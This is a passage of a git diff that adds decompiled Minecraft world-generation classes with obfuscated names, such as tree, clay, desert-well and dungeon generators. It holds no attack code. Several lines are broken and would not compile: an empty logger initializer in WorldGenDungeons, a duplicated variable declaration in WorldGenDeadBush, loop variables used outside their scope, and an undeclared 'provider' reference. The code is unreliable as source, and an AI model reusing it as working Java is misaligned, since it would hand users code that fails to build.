+      super(p_i45635_1_.getY(), p_i45635_1_.getZ());
+      field_178000_b = p_i45635_2_;
+    }
+    
+    public int func_177999_q()
+    {
+      return field_178000_b;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenBlockBlob.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenBlockBlob.java
new file mode 100644
index 0000000..57e8803
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenBlockBlob.java
@@ -0,0 +1,76 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenBlockBlob extends WorldGenerator
+{
+  private final Block field_150545_a;
+  private final int field_150544_b;
+  private static final String __OBFID = "CL_00000402";
+  
+  public WorldGenBlockBlob(Block p_i45450_1_, int p_i45450_2_)
+  {
+    super(false);
+    field_150545_a = p_i45450_1_;
+    field_150544_b = p_i45450_2_;
+  }
+  
+
+
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    while (p_180709_3_.getY() > 3)
+    {
+
+
+      if (!worldIn.isAirBlock(p_180709_3_.offsetDown()))
+      {
+        Block var4 = worldIn.getBlockState(p_180709_3_.offsetDown()).getBlock();
+        
+        if ((var4 == Blocks.grass) || (var4 == Blocks.dirt) || (var4 == Blocks.stone)) {
+          break;
+        }
+      }
+      
+
+      p_180709_3_ = p_180709_3_.offsetDown();
+    }
+    
+
+
+    if (p_180709_3_.getY() <= 3)
+    {
+      return false;
+    }
+    
+    int var12 = field_150544_b;
+    
+    for (int var5 = 0; (var12 >= 0) && (var5 < 3); var5++)
+    {
+      int var6 = var12 + p_180709_2_.nextInt(2);
+      int var7 = var12 + p_180709_2_.nextInt(2);
+      int var8 = var12 + p_180709_2_.nextInt(2);
+      float var9 = (var6 + var7 + var8) * 0.333F + 0.5F;
+      Iterator var10 = BlockPos.getAllInBox(p_180709_3_.add(-var6, -var7, -var8), p_180709_3_.add(var6, var7, var8)).iterator();
+      
+      while (var10.hasNext())
+      {
+        BlockPos var11 = (BlockPos)var10.next();
+        
+        if (var11.distanceSq(p_180709_3_) <= var9 * var9)
+        {
+          worldIn.setBlockState(var11, field_150545_a.getDefaultState(), 4);
+        }
+      }
+      
+      p_180709_3_ = p_180709_3_.add(-(var12 + 1) + p_180709_2_.nextInt(2 + var12 * 2), 0 - p_180709_2_.nextInt(2), -(var12 + 1) + p_180709_2_.nextInt(2 + var12 * 2));
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenCactus.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenCactus.java
new file mode 100644
index 0000000..8f99367
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenCactus.java
@@ -0,0 +1,34 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.util.BlockPos;
+
+public class WorldGenCactus extends WorldGenerator
+{
+  private static final String __OBFID = "CL_00000404";
+  
+  public WorldGenCactus() {}
+  
+  public boolean generate(net.minecraft.world.World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    for (int var4 = 0; var4 < 10; var4++)
+    {
+      BlockPos var5 = p_180709_3_.add(p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8), p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4), p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8));
+      
+      if (worldIn.isAirBlock(var5))
+      {
+        int var6 = 1 + p_180709_2_.nextInt(p_180709_2_.nextInt(3) + 1);
+        
+        for (int var7 = 0; var7 < var6; var7++)
+        {
+          if (net.minecraft.init.Blocks.cactus.canBlockStay(worldIn, var5))
+          {
+            worldIn.setBlockState(var5.offsetUp(var7), net.minecraft.init.Blocks.cactus.getDefaultState(), 2);
+          }
+        }
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenCanopyTree.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenCanopyTree.java
new file mode 100644
index 0000000..ccc9d95
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenCanopyTree.java
@@ -0,0 +1,212 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockPlanks.EnumType;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenCanopyTree extends WorldGenAbstractTree
+{
+  private static final String __OBFID = "CL_00000430";
+  
+  public WorldGenCanopyTree(boolean p_i45461_1_)
+  {
+    super(p_i45461_1_);
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    int var4 = p_180709_2_.nextInt(3) + p_180709_2_.nextInt(2) + 6;
+    boolean var5 = true;
+    
+    if ((p_180709_3_.getY() >= 1) && (p_180709_3_.getY() + var4 + 1 <= 256))
+    {
+
+
+
+      for (int var6 = p_180709_3_.getY(); var6 <= p_180709_3_.getY() + 1 + var4; var6++)
+      {
+        byte var7 = 1;
+        
+        if (var6 == p_180709_3_.getY())
+        {
+          var7 = 0;
+        }
+        
+        if (var6 >= p_180709_3_.getY() + 1 + var4 - 2)
+        {
+          var7 = 2;
+        }
+        
+        for (int var8 = p_180709_3_.getX() - var7; (var8 <= p_180709_3_.getX() + var7) && (var5); var8++)
+        {
+          for (int var9 = p_180709_3_.getZ() - var7; (var9 <= p_180709_3_.getZ() + var7) && (var5); var9++)
+          {
+            if ((var6 >= 0) && (var6 < 256))
+            {
+              if (!func_150523_a(worldIn.getBlockState(new BlockPos(var8, var6, var9)).getBlock()))
+              {
+                var5 = false;
+              }
+              
+            }
+            else {
+              var5 = false;
+            }
+          }
+        }
+      }
+      
+      if (!var5)
+      {
+        return false;
+      }
+      
+
+      Block var18 = worldIn.getBlockState(p_180709_3_.offsetDown()).getBlock();
+      
+      if (((var18 == Blocks.grass) || (var18 == Blocks.dirt)) && (p_180709_3_.getY() < 256 - var4 - 1))
+      {
+        func_175921_a(worldIn, p_180709_3_.offsetDown());
+        func_175921_a(worldIn, p_180709_3_.add(1, -1, 0));
+        func_175921_a(worldIn, p_180709_3_.add(1, -1, 1));
+        func_175921_a(worldIn, p_180709_3_.add(0, -1, 1));
+        net.minecraft.util.EnumFacing var19 = net.minecraft.util.EnumFacing.Plane.HORIZONTAL.random(p_180709_2_);
+        int var8 = var4 - p_180709_2_.nextInt(4);
+        int var9 = 2 - p_180709_2_.nextInt(3);
+        int var10 = p_180709_3_.getX();
+        int var11 = p_180709_3_.getZ();
+        int var12 = 0;
+        
+
+
+        for (int var13 = 0; var13 < var4; var13++)
+        {
+          int var14 = p_180709_3_.getY() + var13;
+          
+          if ((var13 >= var8) && (var9 > 0))
+          {
+            var10 += var19.getFrontOffsetX();
+            var11 += var19.getFrontOffsetZ();
+            var9--;
+          }
+          
+          BlockPos var15 = new BlockPos(var10, var14, var11);
+          Material var16 = worldIn.getBlockState(var15).getBlock().getMaterial();
+          
+          if ((var16 == Material.air) || (var16 == Material.leaves))
+          {
+            func_175905_a(worldIn, var15, Blocks.log2, BlockPlanks.EnumType.DARK_OAK.func_176839_a() - 4);
+            func_175905_a(worldIn, var15.offsetEast(), Blocks.log2, BlockPlanks.EnumType.DARK_OAK.func_176839_a() - 4);
+            func_175905_a(worldIn, var15.offsetSouth(), Blocks.log2, BlockPlanks.EnumType.DARK_OAK.func_176839_a() - 4);
+            func_175905_a(worldIn, var15.offsetEast().offsetSouth(), Blocks.log2, BlockPlanks.EnumType.DARK_OAK.func_176839_a() - 4);
+            var12 = var14;
+          }
+        }
+        
+        for (var13 = -2; var13 <= 0; var13++)
+        {
+          for (int var14 = -2; var14 <= 0; var14++)
+          {
+            byte var20 = -1;
+            func_150526_a(worldIn, var10 + var13, var12 + var20, var11 + var14);
+            func_150526_a(worldIn, 1 + var10 - var13, var12 + var20, var11 + var14);
+            func_150526_a(worldIn, var10 + var13, var12 + var20, 1 + var11 - var14);
+            func_150526_a(worldIn, 1 + var10 - var13, var12 + var20, 1 + var11 - var14);
+            
+            if (((var13 > -2) || (var14 > -1)) && ((var13 != -1) || (var14 != -2)))
+            {
+              byte var21 = 1;
+              func_150526_a(worldIn, var10 + var13, var12 + var21, var11 + var14);
+              func_150526_a(worldIn, 1 + var10 - var13, var12 + var21, var11 + var14);
+              func_150526_a(worldIn, var10 + var13, var12 + var21, 1 + var11 - var14);
+              func_150526_a(worldIn, 1 + var10 - var13, var12 + var21, 1 + var11 - var14);
+            }
+          }
+        }
+        
+        if (p_180709_2_.nextBoolean())
+        {
+          func_150526_a(worldIn, var10, var12 + 2, var11);
+          func_150526_a(worldIn, var10 + 1, var12 + 2, var11);
+          func_150526_a(worldIn, var10 + 1, var12 + 2, var11 + 1);
+          func_150526_a(worldIn, var10, var12 + 2, var11 + 1);
+        }
+        
+        for (var13 = -3; var13 <= 4; var13++)
+        {
+          for (int var14 = -3; var14 <= 4; var14++)
+          {
+            if (((var13 != -3) || (var14 != -3)) && ((var13 != -3) || (var14 != 4)) && ((var13 != 4) || (var14 != -3)) && ((var13 != 4) || (var14 != 4)) && ((Math.abs(var13) < 3) || (Math.abs(var14) < 3)))
+            {
+              func_150526_a(worldIn, var10 + var13, var12, var11 + var14);
+            }
+          }
+        }
+        
+        for (var13 = -1; var13 <= 2; var13++)
+        {
+          for (int var14 = -1; var14 <= 2; var14++)
+          {
+            if (((var13 < 0) || (var13 > 1) || (var14 < 0) || (var14 > 1)) && (p_180709_2_.nextInt(3) <= 0))
+            {
+              int var22 = p_180709_2_.nextInt(3) + 2;
+              
+
+              for (int var23 = 0; var23 < var22; var23++)
+              {
+                func_175905_a(worldIn, new BlockPos(p_180709_3_.getX() + var13, var12 - var23 - 1, p_180709_3_.getZ() + var14), Blocks.log2, BlockPlanks.EnumType.DARK_OAK.func_176839_a() - 4);
+              }
+              
+
+
+              for (var23 = -1; var23 <= 1; var23++)
+              {
+                for (int var17 = -1; var17 <= 1; var17++)
+                {
+                  func_150526_a(worldIn, var10 + var13 + var23, var12 - 0, var11 + var14 + var17);
+                }
+              }
+              
+              for (var23 = -2; var23 <= 2; var23++)
+              {
+                for (int var17 = -2; var17 <= 2; var17++)
+                {
+                  if ((Math.abs(var23) != 2) || (Math.abs(var17) != 2))
+                  {
+                    func_150526_a(worldIn, var10 + var13 + var23, var12 - 1, var11 + var14 + var17);
+                  }
+                }
+              }
+            }
+          }
+        }
+        
+        return true;
+      }
+      
+
+      return false;
+    }
+    
+
+
+
+    return false;
+  }
+  
+
+  private void func_150526_a(World worldIn, int p_150526_2_, int p_150526_3_, int p_150526_4_)
+  {
+    Block var5 = worldIn.getBlockState(new BlockPos(p_150526_2_, p_150526_3_, p_150526_4_)).getBlock();
+    
+    if (var5.getMaterial() == Material.air)
+    {
+      func_175905_a(worldIn, new BlockPos(p_150526_2_, p_150526_3_, p_150526_4_), Blocks.leaves2, 1);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenClay.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenClay.java
new file mode 100644
index 0000000..7e19cce
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenClay.java
@@ -0,0 +1,60 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenClay
+  extends WorldGenerator
+{
+  private Block field_150546_a;
+  private int numberOfBlocks;
+  private static final String __OBFID = "CL_00000405";
+  
+  public WorldGenClay(int p_i2011_1_)
+  {
+    field_150546_a = Blocks.clay;
+    numberOfBlocks = p_i2011_1_;
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    if (worldIn.getBlockState(p_180709_3_).getBlock().getMaterial() != Material.water)
+    {
+      return false;
+    }
+    
+
+    int var4 = p_180709_2_.nextInt(numberOfBlocks - 2) + 2;
+    byte var5 = 1;
+    
+    for (int var6 = p_180709_3_.getX() - var4; var6 <= p_180709_3_.getX() + var4; var6++)
+    {
+      for (int var7 = p_180709_3_.getZ() - var4; var7 <= p_180709_3_.getZ() + var4; var7++)
+      {
+        int var8 = var6 - p_180709_3_.getX();
+        int var9 = var7 - p_180709_3_.getZ();
+        
+        if (var8 * var8 + var9 * var9 <= var4 * var4)
+        {
+          for (int var10 = p_180709_3_.getY() - var5; var10 <= p_180709_3_.getY() + var5; var10++)
+          {
+            BlockPos var11 = new BlockPos(var6, var10, var7);
+            Block var12 = worldIn.getBlockState(var11).getBlock();
+            
+            if ((var12 == Blocks.dirt) || (var12 == Blocks.clay))
+            {
+              worldIn.setBlockState(var11, field_150546_a.getDefaultState(), 2);
+            }
+          }
+        }
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenDeadBush.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenDeadBush.java
new file mode 100644
index 0000000..ae43132
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenDeadBush.java
@@ -0,0 +1,35 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockDeadBush;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenDeadBush extends WorldGenerator
+{
+  private static final String __OBFID = "CL_00000406";
+  
+  public WorldGenDeadBush() {}
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    Block var4;
+    while ((((var4 = worldIn.getBlockState(p_180709_3_).getBlock()).getMaterial() == net.minecraft.block.material.Material.air) || (var4.getMaterial() == net.minecraft.block.material.Material.leaves)) && (p_180709_3_.getY() > 0)) {
+      Block var4;
+      p_180709_3_ = p_180709_3_.offsetDown();
+    }
+    
+    for (int var5 = 0; var5 < 4; var5++)
+    {
+      BlockPos var6 = p_180709_3_.add(p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8), p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4), p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8));
+      
+      if ((worldIn.isAirBlock(var6)) && (net.minecraft.init.Blocks.deadbush.canBlockStay(worldIn, var6, net.minecraft.init.Blocks.deadbush.getDefaultState())))
+      {
+        worldIn.setBlockState(var6, net.minecraft.init.Blocks.deadbush.getDefaultState(), 2);
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenDesertWells.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenDesertWells.java
new file mode 100644
index 0000000..ef22412
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenDesertWells.java
@@ -0,0 +1,119 @@
+package net.minecraft.world.gen.feature;
+
+import com.google.common.base.Predicates;
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.BlockDynamicLiquid;
+import net.minecraft.block.BlockSlab;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.block.state.pattern.BlockStateHelper;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.world.World;
+
+public class WorldGenDesertWells extends WorldGenerator
+{
+  private static final BlockStateHelper field_175913_a = BlockStateHelper.forBlock(Blocks.sand).func_177637_a(net.minecraft.block.BlockSand.VARIANT_PROP, Predicates.equalTo(net.minecraft.block.BlockSand.EnumType.SAND));
+  private final IBlockState field_175911_b;
+  private final IBlockState field_175912_c;
+  private final IBlockState field_175910_d;
+  private static final String __OBFID = "CL_00000407";
+  
+  public WorldGenDesertWells()
+  {
+    field_175911_b = Blocks.stone_slab.getDefaultState().withProperty(net.minecraft.block.BlockStoneSlab.field_176556_M, net.minecraft.block.BlockStoneSlab.EnumType.SAND).withProperty(BlockSlab.HALF_PROP, net.minecraft.block.BlockSlab.EnumBlockHalf.BOTTOM);
+    field_175912_c = Blocks.sandstone.getDefaultState();
+    field_175910_d = Blocks.flowing_water.getDefaultState();
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    while ((worldIn.isAirBlock(p_180709_3_)) && (p_180709_3_.getY() > 2))
+    {
+      p_180709_3_ = p_180709_3_.offsetDown();
+    }
+    
+    if (!field_175913_a.func_177639_a(worldIn.getBlockState(p_180709_3_)))
+    {
+      return false;
+    }
+    
+
+
+
+
+    for (int var4 = -2; var4 <= 2; var4++)
+    {
+      for (int var5 = -2; var5 <= 2; var5++)
+      {
+        if ((worldIn.isAirBlock(p_180709_3_.add(var4, -1, var5))) && (worldIn.isAirBlock(p_180709_3_.add(var4, -2, var5))))
+        {
+          return false;
+        }
+      }
+    }
+    
+    for (var4 = -1; var4 <= 0; var4++)
+    {
+      for (int var5 = -2; var5 <= 2; var5++)
+      {
+        for (int var6 = -2; var6 <= 2; var6++)
+        {
+          worldIn.setBlockState(p_180709_3_.add(var5, var4, var6), field_175912_c, 2);
+        }
+      }
+    }
+    
+    worldIn.setBlockState(p_180709_3_, field_175910_d, 2);
+    Iterator var7 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    while (var7.hasNext())
+    {
+      EnumFacing var8 = (EnumFacing)var7.next();
+      worldIn.setBlockState(p_180709_3_.offset(var8), field_175910_d, 2);
+    }
+    
+    for (var4 = -2; var4 <= 2; var4++)
+    {
+      for (int var5 = -2; var5 <= 2; var5++)
+      {
+        if ((var4 == -2) || (var4 == 2) || (var5 == -2) || (var5 == 2))
+        {
+          worldIn.setBlockState(p_180709_3_.add(var4, 1, var5), field_175912_c, 2);
+        }
+      }
+    }
+    
+    worldIn.setBlockState(p_180709_3_.add(2, 1, 0), field_175911_b, 2);
+    worldIn.setBlockState(p_180709_3_.add(-2, 1, 0), field_175911_b, 2);
+    worldIn.setBlockState(p_180709_3_.add(0, 1, 2), field_175911_b, 2);
+    worldIn.setBlockState(p_180709_3_.add(0, 1, -2), field_175911_b, 2);
+    
+    for (var4 = -1; var4 <= 1; var4++)
+    {
+      for (int var5 = -1; var5 <= 1; var5++)
+      {
+        if ((var4 == 0) && (var5 == 0))
+        {
+          worldIn.setBlockState(p_180709_3_.add(var4, 4, var5), field_175912_c, 2);
+        }
+        else
+        {
+          worldIn.setBlockState(p_180709_3_.add(var4, 4, var5), field_175911_b, 2);
+        }
+      }
+    }
+    
+    for (var4 = 1; var4 <= 3; var4++)
+    {
+      worldIn.setBlockState(p_180709_3_.add(-1, var4, -1), field_175912_c, 2);
+      worldIn.setBlockState(p_180709_3_.add(-1, var4, 1), field_175912_c, 2);
+      worldIn.setBlockState(p_180709_3_.add(1, var4, -1), field_175912_c, 2);
+      worldIn.setBlockState(p_180709_3_.add(1, var4, 1), field_175912_c, 2);
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenDoublePlant.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenDoublePlant.java
new file mode 100644
index 0000000..2025389
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenDoublePlant.java
@@ -0,0 +1,36 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenDoublePlant extends WorldGenerator
+{
+  private net.minecraft.block.BlockDoublePlant.EnumPlantType field_150549_a;
+  private static final String __OBFID = "CL_00000408";
+  
+  public WorldGenDoublePlant() {}
+  
+  public void func_180710_a(net.minecraft.block.BlockDoublePlant.EnumPlantType p_180710_1_)
+  {
+    field_150549_a = p_180710_1_;
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    boolean var4 = false;
+    
+    for (int var5 = 0; var5 < 64; var5++)
+    {
+      BlockPos var6 = p_180709_3_.add(p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8), p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4), p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8));
+      
+      if ((worldIn.isAirBlock(var6)) && ((!provider.getHasNoSky()) || (var6.getY() < 254)) && (net.minecraft.init.Blocks.double_plant.canPlaceBlockAt(worldIn, var6)))
+      {
+        net.minecraft.init.Blocks.double_plant.func_176491_a(worldIn, var6, field_150549_a, 2);
+        var4 = true;
+      }
+    }
+    
+    return var4;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenDungeons.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenDungeons.java
new file mode 100644
index 0000000..6493af5
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenDungeons.java
@@ -0,0 +1,192 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockChest;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityMobSpawner;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.WeightedRandomChestContent;
+import net.minecraft.world.World;
+import org.apache.logging.log4j.Logger;
+
+public class WorldGenDungeons extends WorldGenerator
+{
+  private static final Logger field_175918_a = ;
+  private static final String[] SPAWNERTYPES = { "Skeleton", "Zombie", "Zombie", "Spider" };
+  private static final java.util.List CHESTCONTENT = com.google.common.collect.Lists.newArrayList(new WeightedRandomChestContent[] { new WeightedRandomChestContent(Items.saddle, 0, 1, 1, 10), new WeightedRandomChestContent(Items.iron_ingot, 0, 1, 4, 10), new WeightedRandomChestContent(Items.bread, 0, 1, 1, 10), new WeightedRandomChestContent(Items.wheat, 0, 1, 4, 10), new WeightedRandomChestContent(Items.gunpowder, 0, 1, 4, 10), new WeightedRandomChestContent(Items.string, 0, 1, 4, 10), new WeightedRandomChestContent(Items.bucket, 0, 1, 1, 10), new WeightedRandomChestContent(Items.golden_apple, 0, 1, 1, 1), new WeightedRandomChestContent(Items.redstone, 0, 1, 4, 10), new WeightedRandomChestContent(Items.record_13, 0, 1, 1, 4), new WeightedRandomChestContent(Items.record_cat, 0, 1, 1, 4), new WeightedRandomChestContent(Items.name_tag, 0, 1, 1, 10), new WeightedRandomChestContent(Items.golden_horse_armor, 0, 1, 1, 2), new WeightedRandomChestContent(Items.iron_horse_armor, 0, 1, 1, 5), new WeightedRandomChestContent(Items.diamond_horse_armor, 0, 1, 1, 1) });
+  private static final String __OBFID = "CL_00000425";
+  
+  public WorldGenDungeons() {}
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_) { boolean var4 = true;
+    int var5 = p_180709_2_.nextInt(2) + 2;
+    int var6 = -var5 - 1;
+    int var7 = var5 + 1;
+    boolean var8 = true;
+    boolean var9 = true;
+    int var10 = p_180709_2_.nextInt(2) + 2;
+    int var11 = -var10 - 1;
+    int var12 = var10 + 1;
+    int var13 = 0;
+    
+
+
+
+
+    for (int var14 = var6; var14 <= var7; var14++)
+    {
+      for (int var15 = -1; var15 <= 4; var15++)
+      {
+        for (int var16 = var11; var16 <= var12; var16++)
+        {
+          BlockPos var17 = p_180709_3_.add(var14, var15, var16);
+          Material var18 = worldIn.getBlockState(var17).getBlock().getMaterial();
+          boolean var19 = var18.isSolid();
+          
+          if ((var15 == -1) && (!var19))
+          {
+            return false;
+          }
+          
+          if ((var15 == 4) && (!var19))
+          {
+            return false;
+          }
+          
+          if (((var14 == var6) || (var14 == var7) || (var16 == var11) || (var16 == var12)) && (var15 == 0) && (worldIn.isAirBlock(var17)) && (worldIn.isAirBlock(var17.offsetUp())))
+          {
+            var13++;
+          }
+        }
+      }
+    }
+    
+    if ((var13 >= 1) && (var13 <= 5))
+    {
+      for (var14 = var6; var14 <= var7; var14++)
+      {
+        for (int var15 = 3; var15 >= -1; var15--)
+        {
+          for (int var16 = var11; var16 <= var12; var16++)
+          {
+            BlockPos var17 = p_180709_3_.add(var14, var15, var16);
+            
+            if ((var14 != var6) && (var15 != -1) && (var16 != var11) && (var14 != var7) && (var15 != 4) && (var16 != var12))
+            {
+              if (worldIn.getBlockState(var17).getBlock() != Blocks.chest)
+              {
+                worldIn.setBlockToAir(var17);
+              }
+            }
+            else if ((var17.getY() >= 0) && (!worldIn.getBlockState(var17.offsetDown()).getBlock().getMaterial().isSolid()))
+            {
+              worldIn.setBlockToAir(var17);
+            }
+            else if ((worldIn.getBlockState(var17).getBlock().getMaterial().isSolid()) && (worldIn.getBlockState(var17).getBlock() != Blocks.chest))
+            {
+              if ((var15 == -1) && (p_180709_2_.nextInt(4) != 0))
+              {
+                worldIn.setBlockState(var17, Blocks.mossy_cobblestone.getDefaultState(), 2);
+              }
+              else
+              {
+                worldIn.setBlockState(var17, Blocks.cobblestone.getDefaultState(), 2);
+              }
+            }
+          }
+        }
+      }
+      
+      var14 = 0;
+      
+      while (var14 < 2)
+      {
+        int var15 = 0;
+        
+
+
+        while (var15 < 3)
+        {
+
+
+          int var16 = p_180709_3_.getX() + p_180709_2_.nextInt(var5 * 2 + 1) - var5;
+          int var24 = p_180709_3_.getY();
+          int var25 = p_180709_3_.getZ() + p_180709_2_.nextInt(var10 * 2 + 1) - var10;
+          BlockPos var26 = new BlockPos(var16, var24, var25);
+          
+          if (worldIn.isAirBlock(var26))
+          {
+            int var20 = 0;
+            Iterator var21 = EnumFacing.Plane.HORIZONTAL.iterator();
+            
+            while (var21.hasNext())
+            {
+              EnumFacing var22 = (EnumFacing)var21.next();
+              
+              if (worldIn.getBlockState(var26.offset(var22)).getBlock().getMaterial().isSolid())
+              {
+                var20++;
+              }
+            }
+            
+            if (var20 == 1)
+            {
+              worldIn.setBlockState(var26, Blocks.chest.func_176458_f(worldIn, var26, Blocks.chest.getDefaultState()), 2);
+              java.util.List var27 = WeightedRandomChestContent.func_177629_a(CHESTCONTENT, new WeightedRandomChestContent[] { Items.enchanted_book.getRandomEnchantedBook(p_180709_2_) });
+              TileEntity var28 = worldIn.getTileEntity(var26);
+              
+              if (!(var28 instanceof net.minecraft.tileentity.TileEntityChest))
+                break;
+              WeightedRandomChestContent.generateChestContents(p_180709_2_, var27, (net.minecraft.tileentity.TileEntityChest)var28, 8);
+              
+
+              break;
+            }
+          }
+          
+          var15++;
+        }
+        
+
+
+        var14++;
+      }
+      
+
+
+      worldIn.setBlockState(p_180709_3_, Blocks.mob_spawner.getDefaultState(), 2);
+      TileEntity var23 = worldIn.getTileEntity(p_180709_3_);
+      
+      if ((var23 instanceof TileEntityMobSpawner))
+      {
+        ((TileEntityMobSpawner)var23).getSpawnerBaseLogic().setEntityName(pickMobSpawner(p_180709_2_));
+      }
+      else
+      {
+        field_175918_a.error("Failed to fetch mob spawner entity at (" + p_180709_3_.getX() + ", " + p_180709_3_.getY() + ", " + p_180709_3_.getZ() + ")");
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  private String pickMobSpawner(Random p_76543_1_)
+  {
+    return SPAWNERTYPES[p_76543_1_.nextInt(SPAWNERTYPES.length)];
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenFire.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenFire.java
new file mode 100644
index 0000000..1362728
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenFire.java
@@ -0,0 +1,26 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.util.BlockPos;
+
+public class WorldGenFire extends WorldGenerator
+{
+  private static final String __OBFID = "CL_00000412";
+  
+  public WorldGenFire() {}
+  
+  public boolean generate(net.minecraft.world.World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    for (int var4 = 0; var4 < 64; var4++)
+    {
+      BlockPos var5 = p_180709_3_.add(p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8), p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4), p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8));
+      
+      if ((worldIn.isAirBlock(var5)) && (worldIn.getBlockState(var5.offsetDown()).getBlock() == net.minecraft.init.Blocks.netherrack))
+      {
+        worldIn.setBlockState(var5, net.minecraft.init.Blocks.fire.getDefaultState(), 2);
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenFlowers.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenFlowers.java
new file mode 100644
index 0000000..be459b3
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenFlowers.java
@@ -0,0 +1,40 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.BlockFlower;
+import net.minecraft.block.BlockFlower.EnumFlowerType;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenFlowers extends WorldGenerator
+{
+  private BlockFlower flower;
+  private net.minecraft.block.state.IBlockState field_175915_b;
+  private static final String __OBFID = "CL_00000410";
+  
+  public WorldGenFlowers(BlockFlower p_i45632_1_, BlockFlower.EnumFlowerType p_i45632_2_)
+  {
